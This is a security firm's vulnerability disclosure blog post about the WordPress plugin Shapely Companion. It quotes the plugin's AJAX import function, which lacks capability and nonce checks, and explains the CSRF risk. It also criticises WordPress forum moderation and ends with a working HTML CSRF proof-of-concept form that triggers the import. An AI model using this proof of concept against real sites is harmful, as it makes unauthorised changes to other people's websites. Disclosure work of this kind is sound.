24 May 2022

Recently Closed WordPress Plugin with 40,000+ Installs Contains Minor Defacement Vulnerability

Yesterday, the WordPress plugin Shapely Companion was closed on WordPress Plugin Directory. Because that is one of the 1,000 most popular plugins in that directory (it has 40,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should warn customers of our services about. What we found was that it at least contains a minor vulnerability.

The plugin registers the function shapely_companion_import_content() to be accessible through WordPress’ AJAX functionality by anyone logged in to WordPress:

66
add_action( 'wp_ajax_shapely_companion_import_content', 'shapely_companion_import_content' );

That function, which is located in the file /inc/shapely-demo-content.php, doesn’t do any security checks before importing content on the website:

68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
function shapely_companion_import_content() {
 
	if ( isset( $_POST['import'] ) ) {
 
		if ( 'import-all' == $_POST['import'] ) {
 
			$frontpage_title = __( 'Front Page', 'shapely-companion' );
			$blog_title      = __( 'Blog', 'shapely-companion' );
 
			$frontpage_id = wp_insert_post(
				array(
					'post_title'  => $frontpage_title,
					'post_status' => 'publish',
					'post_type'   => 'page',
				)
			);
			$blog_id      = wp_insert_post(
				array(
					'post_title'  => $blog_title,
					'post_status' => 'publish',
					'post_type'   => 'page',
				)
			);
 
			if ( - 1 != $frontpage_id ) {
				update_post_meta( $frontpage_id, '_wp_page_template', 'page-templates/template-home.php' );
			} // End if().
 
			update_option( 'show_on_front', 'page' );
			update_option( 'page_on_front', $frontpage_id );
			update_option( 'page_for_posts', $blog_id );
			shapely_companion_add_default_widgets();
 
		} elseif ( 'import-widgets' == $_POST['import'] ) {
			shapely_companion_add_default_widgets();
		} elseif ( 'set-frontpage' == $_POST['import'] ) {
 
			$frontpage_title = __( 'Front Page', 'shapely-companion' );
			$blog_title      = __( 'Blog', 'shapely-companion' );
 
			$frontpage_id = wp_insert_post(
				array(
					'post_title'  => $frontpage_title,
					'post_status' => 'publish',
					'post_type'   => 'page',
				)
			);
			$blog_id      = wp_insert_post(
				array(
					'post_title'  => $blog_title,
					'post_status' => 'publish',
					'post_type'   => 'page',
				)
			);
 
			if ( - 1 != $frontpage_id ) {
				update_post_meta( $frontpage_id, '_wp_page_template', 'page-templates/template-home.php' );
			} // End if().
 
			update_option( 'show_on_front', 'page' );
			update_option( 'page_on_front', $frontpage_id );
			update_option( 'page_for_posts', $blog_id );
 
		}
 
		update_option( 'shapely_imported_demo', true );
 
		echo wp_json_encode(
			array(
				'status'  => true,
				'message' => 'ok',
			)
		);
	} else {
		echo wp_json_encode(
			array(
				'status'  => false,
				'message' => 'nok',
			)
		);
	}// End if().
 
	exit();
 
}

There should be a capabilities check to limit who can access that and a nonce check to prevent cross-site request forgery (CSRF). So the importing of the content can be done by anyone logged in to WordPress or an attacker could cause someone logged in to cause it to be imported without them intending it.

The impact of that is limited, since the content being imported on to the website is demo content that comes with the plugin and not content coming from the person making the request for that. Also limiting this is that the theme that this plugin is a companion to, Shapely, needs to be active for this functionality to be accessible.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will import the plugin’s demo content, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=shapely_companion_import_content" method="POST">
<input type="hidden" name="import" value="import-all" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.